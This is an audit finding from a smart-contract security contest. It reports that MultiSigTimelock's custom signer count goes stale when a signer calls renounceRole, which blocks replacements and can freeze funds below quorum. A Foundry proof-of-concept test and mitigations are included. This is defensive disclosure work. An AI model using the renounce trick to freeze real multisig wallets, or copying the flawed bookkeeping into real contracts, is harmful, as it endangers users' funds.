MultiSig Timelock
First Flight #55
Beginner FriendlyWallet
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Any signer can permanently break signer accounting via `renounceRole`, potentially freezing funds

Author Revealed upon completion

Description:
MultiSigTimelock keeps its own signer bookkeeping (s_signerCount, s_signers, s_isSigner) in addition to OpenZeppelin AccessControl role membership. Signer permissions are enforced with onlyRole(SIGNING_ROLE), but signer management (max 5 slots, s_signerCount, etc.) is enforced using the custom bookkeeping.

Because AccessControl.renounceRole() is publicly callable by any role-holder, a signer can renounce SIGNING_ROLE. This removes their role (so they can no longer confirm/execute), but does not update s_signerCount, s_signers, or s_isSigner. As a result:

  • The contract may believe it has 5 signers even when fewer actually have SIGNING_ROLE.

  • The owner cannot add replacements once s_signerCount == 5 (reverts with MultiSigTimelock__MaximumSignersReached()).

  • If enough signers renounce such that <3 remain, the wallet can become unexecutable, freezing ETH indefinitely.

Relevant code:

  • Role checks for confirmations/execution use onlyRole(SIGNING_ROLE)

  • Signer slot accounting uses s_signerCount/s_isSigner in grantSigningRole()

Impact:
A malicious or compromised signer can cause a permanent denial-of-service by renouncing, especially when the signer set is full (5/5). If fewer than 3 role-holders remain, no transaction can ever reach quorum, effectively freezing all funds. This is a single-signer DoS at maximum signer capacity.

Proof of Concept:

​
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import {Test} from "forge-std/Test.sol";
import {MultiSigTimelock} from "src/MultiSigTimelock.sol";
​
contract Receiver {
receive() external payable {}
}
​
contract MultiSigTimelock_PoC is Test {
MultiSigTimelock internal ms;
​
address internal OWNER = address(this);
​
address internal SIGNER_TWO = makeAddr("signer_two");
address internal SIGNER_THREE = makeAddr("signer_three");
address internal SIGNER_FOUR = makeAddr("signer_four");
address internal SIGNER_FIVE = makeAddr("signer_five");
​
address internal NEW_SIGNER = makeAddr("newSigner");
address internal ATTACKER = makeAddr("attacker");
​
function setUp() public {
ms = new MultiSigTimelock();
​
ms.grantSigningRole(SIGNER_TWO);
ms.grantSigningRole(SIGNER_THREE);
ms.grantSigningRole(SIGNER_FOUR);
ms.grantSigningRole(SIGNER_FIVE);
​
vm.deal(address(ms), 200 ether);
}
​
function _proposeEthTransfer(address to, uint256 value) internal returns (uint256 txnId) {
txnId = ms.proposeTransaction(to, value, "");
}
​
function _confirm(uint256 txnId, address signer) internal {
vm.prank(signer);
ms.confirmTransaction(txnId);
}
​
function test_RenounceRole_PreventsReplacingSigner_WhenMaxed() public {
bytes32 role = ms.getSigningRole();
assertEq(ms.getSignerCount(), 5);
​
// SIGNER_THREE renounces SIGNING_ROLE via AccessControl's public renounceRole()
vm.prank(SIGNER_THREE);
ms.renounceRole(role, SIGNER_THREE);
​
assertFalse(ms.hasRole(role, SIGNER_THREE));
​
// Contract's custom bookkeeping is now stale: it still thinks it has 5 signers
assertEq(ms.getSignerCount(), 5);
​
// Owner cannot add a replacement because s_signerCount is still MAX
vm.expectRevert(MultiSigTimelock.MultiSigTimelock__MaximumSignersReached.selector);
ms.grantSigningRole(NEW_SIGNER);
}
​
function test_RenounceRole_CanFreezeWallet_ByReducingRealSignersBelowQuorum() public {
bytes32 role = ms.getSigningRole();
​
// Three signers renounce -> only OWNER + SIGNER_TWO remain with SIGNING_ROLE (2 signers)
vm.prank(SIGNER_THREE);
ms.renounceRole(role, SIGNER_THREE);
vm.prank(SIGNER_FOUR);
ms.renounceRole(role, SIGNER_FOUR);
vm.prank(SIGNER_FIVE);
ms.renounceRole(role, SIGNER_FIVE);
​
assertTrue(ms.hasRole(role, OWNER));
assertTrue(ms.hasRole(role, SIGNER_TWO));
​
// But contract thinks it still has 5 signer slots filled
assertEq(ms.getSignerCount(), 5);
​
// Owner cannot add replacements (still "maxed")
vm.expectRevert(MultiSigTimelock.MultiSigTimelock__MaximumSignersReached.selector);
ms.grantSigningRole(NEW_SIGNER);
​
// Propose an ETH transfer and confirm with the only two remaining signers
Receiver r = new Receiver();
uint256 txnId = _proposeEthTransfer(address(r), 0.5 ether);
​
_confirm(txnId, OWNER);
_confirm(txnId, SIGNER_TWO);
​
// Execution is impossible because quorum is fixed at 3 confirmations
vm.expectRevert(
abi.encodeWithSelector(
MultiSigTimelock.MultiSigTimelock__InsufficientConfirmations.selector,
3,
2
)
);
ms.executeTransaction(txnId);
}
}
​

Mitigation:

  • Simplest (recommended): Remove s_signers, s_isSigner, s_signerCount entirely and rely on AccessControl only (keeping a separate enumerable list if needed).

  • Or: Override renounceRole() for SIGNING_ROLE to either:

    • revert (disallow renouncing), or

    • update s_signerCount/s_signers/s_isSigner consistently (swap-and-pop), freeing a slot.

  • Additionally, consider using AccessControlEnumerable if you need on-chain enumeration of role members.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!